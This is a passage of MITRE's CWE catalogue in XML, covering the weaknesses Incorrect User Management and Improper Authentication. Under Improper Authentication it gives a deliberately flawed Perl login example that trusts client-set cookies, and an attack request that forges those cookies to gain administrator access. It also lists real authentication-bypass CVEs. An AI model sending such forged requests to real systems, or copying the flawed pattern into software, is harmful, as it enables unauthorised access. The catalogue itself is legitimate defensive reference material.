				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Detection_Factors, Modes_of_Introduction,
						Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Detection_Factors,
						Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-24</Modification_Date>
					          <Modification_Comment>Changed name and description; clarified difference between
						"access control" and "authorization."</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Background_Details, Demonstrative_Examples,
						Description, Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Missing or Inconsistent
						Access Control</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Improper Access Control
						(Authorization)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="286" Name="Incorrect User Management" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly manage a user within its
					environment.</Description_Summary>
				        <Extended_Description>
					          <Text>Users can be assigned to the wrong group (class) of permissions resulting
						in unintended access rights to sensitive objects.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>284</Relationship_Target_ID>
					          <!--Improper Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The relationships between privileges, permissions, and actors (e.g. users
						and groups) need further refinement within the Research view. One
						complication is that these concepts apply to two different pillars, related
						to control of resources (CWE-664) and protection mechanism failures
						(CWE-693).</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>This item needs more work. Possible sub-categories include: user in wrong
						group, and user with insecure profile or "configuration". It also might be
						better expressed as a category than a weakness.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>User management errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Name,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">User Management
						Issues</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="287" Name="Improper Authentication" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>When an actor claims to have a given identity, the software
					does not prove or insufficiently proves that the claim is
					correct.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>284</Relationship_Target_ID>
					          <!--Improper Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>718</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>812</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be resultant from SQL injection vulnerabilities and other
						issues.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>authentification</Term>
					          <Alternate_Term_Description>
						            <Text>An alternate term is "authentification", which appears to be most
							commonly used by people from non-English-speaking countries.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>AuthC</Term>
					          <Alternate_Term_Description>
						            <Text>"AuthC" is typically used as an abbreviation of "authentication"
							within the web application security community. It is also distinct from
							"AuthZ," which is an abbreviation of "authorization." The use of "Auth"
							as an abbreviation is discouraged, since it could be used for either
							authentication or authorization.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can lead to the exposure of resources or functionality
							to unintended actors, possibly providing attackers with sensitive
							information or even execute arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-6">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis is useful for detecting certain types of
							authentication. A tool may be able to analyze related configuration
							files, such as .htaccess in Apache web servers, or detect the usage of
							commonly-used authentication libraries.</Text>
						            <Text>Generally, automated static analysis tools have difficulty detecting
							custom authentication schemes. In addition, the software's design may
							include some functionality that is accessible to any user and does not
							require an established identity; an automated technique that detects the
							absence of authentication may report false positives.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Manual static analysis is useful for evaluating the correctness of
							custom authentication mechanisms.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an authentication framework or library such as the OWASP ESAPI
							Authentication feature.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code intends to ensure that the user is already logged
						in. If not, the code performs authentication with the user-provided username
						and password. If successful, it sets the loggedin and user cookies to
						"remember" that the user has already logged in. Finally, the code performs
						administrator tasks if the logged-in user has the "Administrator" username,
						as recorded in the user cookie.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $q = new CGI;</Code>
							              <Code/>
							              <Code>if ($q-&gt;cookie('loggedin') ne "true") {</Code>
							              <Block>
								                <Code>if (! AuthenticateUser($q-&gt;param('username'),
									$q-&gt;param('password'))) {</Code>
								                <Block>
									                  <Code>ExitError("Error: you need to log in first");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code># Set loggedin and user cookies.</Code>
									                  <Code>$q-&gt;cookie(</Code>
									                  <Block>
										                    <Code>-name =&gt; 'loggedin',</Code>
										                    <Code>-value =&gt; 'true'</Code>
										                    <Code>);</Code>
									                  </Block>
									                  <Code>$q-&gt;cookie(</Code>
									                  <Block>
										                    <Code>-name =&gt; 'user',</Code>
										                    <Code>-value =&gt; $q-&gt;param('username')</Code>
										                    <Code>);</Code>
									                  </Block>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>if ($q-&gt;cookie('user') eq "Administrator") {</Code>
							              <Block>
								                <Code>DoAdministratorTasks();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Unfortunately, this code can be bypassed. The attacker can set the
							cookies independently so that the code does not check the username and
							password. The attacker could do this with an HTTP request containing
							headers such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>GET /cgi-bin/vulnerable.cgi HTTP/1.1</Code>
							              <Code>Cookie: user=Administrator</Code>
							              <Code>Cookie: loggedin=true</Code>
							              <Code/>
							              <Code>[body of request]</Code>
						            </Block>
						            <Text>By setting the loggedin cookie to "true", the attacker bypasses the
							entire authentication check. By using the "Administrator" value in the
							user cookie, the attacker also gains privileges to administer the
							software.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In January 2009, an attacker was able to gain administrator access
						to a Twitter server because the server did not restrict the number of login
						attempts. The attacker targeted a member of Twitter's support team and was
						able to successfully guess the member's password using a brute force with a
						large number of common words. Once the attacker gained access as the member
						of the support staff, he used the administrator panel to gain access to 33
						accounts that belonged to celebrities and politicians. Ultimately, fake
						Twitter messages were sent that appeared to come from the compromised
						accounts.</Intro_Text>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Author>Kim Zetter</Reference_Author>
							              <Reference_Title>Weak Password Brings ‘Happiness’ to Twitter
								Hacker</Reference_Title>
							              <Reference_Date>2009-01-09</Reference_Date>
							              <Reference_Link>http://www.wired.com/threatlevel/2009/01/professed-twitt/</Reference_Link>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3421</Observed_Example_Reference>
					          <Observed_Example_Description>login script for guestbook allows bypassing
						authentication by setting a "login_ok" parameter to
						1.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2382</Observed_Example_Reference>
					          <Observed_Example_Description>admin script allows authentication bypass by
						setting a cookie value to "LOGGEDIN".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1048</Observed_Example_Reference>
					          <Observed_Example_Description>VOIP product allows authentication bypass using
						127.0.0.1 in the Host header.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2213</Observed_Example_Reference>
					          <Observed_Example_Description>product uses default "Allow" action, instead of
						default deny, leading to authentication
						bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2168</Observed_Example_Reference>
					          <Observed_Example_Description>chain: redirect without exit (CWE-698) leads to
						resultant authentication bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3107</Observed_Example_Reference>
					          <Observed_Example_Description>product does not restrict access to a listening
						port for a critical service, allowing authentication to be
						bypassed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1596</Observed_Example_Reference>
					          <Observed_Example_Description>product does not properly implement a
						security-related configuration setting, allowing authentication
						bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2422</Observed_Example_Reference>
					          <Observed_Example_Description>authentication routine returns "nil" instead of
						"false" in some situations, allowing authentication bypass using an invalid
						username.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3232</Observed_Example_Reference>
					          <Observed_Example_Description>authentication update script does not properly
						handle when admin does not select any authentication modules, allowing
						authentication bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3231</Observed_Example_Reference>
					          <Observed_Example_Description>use of LDAP authentication with anonymous binds
						causes empty password to result in successful
						authentication</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3435</Observed_Example_Reference>
					          <Observed_Example_Description>product authentication succeeds if user-provided
						MD5 hash matches the hash in its database; this can be subjected to replay
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0408</Observed_Example_Reference>
					          <Observed_Example_Description>chain: product generates predictable MD5 hashes
						using a constant value combined with username, allowing authentication
						bypass.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Authentication</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Broken Authentication and Session
						Management</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A7</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Guide to Authentication</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Guide_to_Authentication</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Authentication</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 4, "Authentication" Page 109</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Authentication</Mapped_Node_Name>
					          <Mapped_Node_ID>1</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>114</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>22</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>57</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>94</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Common_Consequences,
						Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Detection_Factors,
						Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Authentication
						Issues</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Insufficient
						Authentication</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="288" Name="Authentication Bypass Using an Alternate Path or Channel" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>A product requires authentication, but the product has an
					alternate path or channel that does not require authentication.
				</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>721</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>420</Relationship_Target_ID>
					          <!--Unprotected Alternate Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>425</Relationship_Target_ID>
					          <!--Direct Request ('Forced Browsing')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
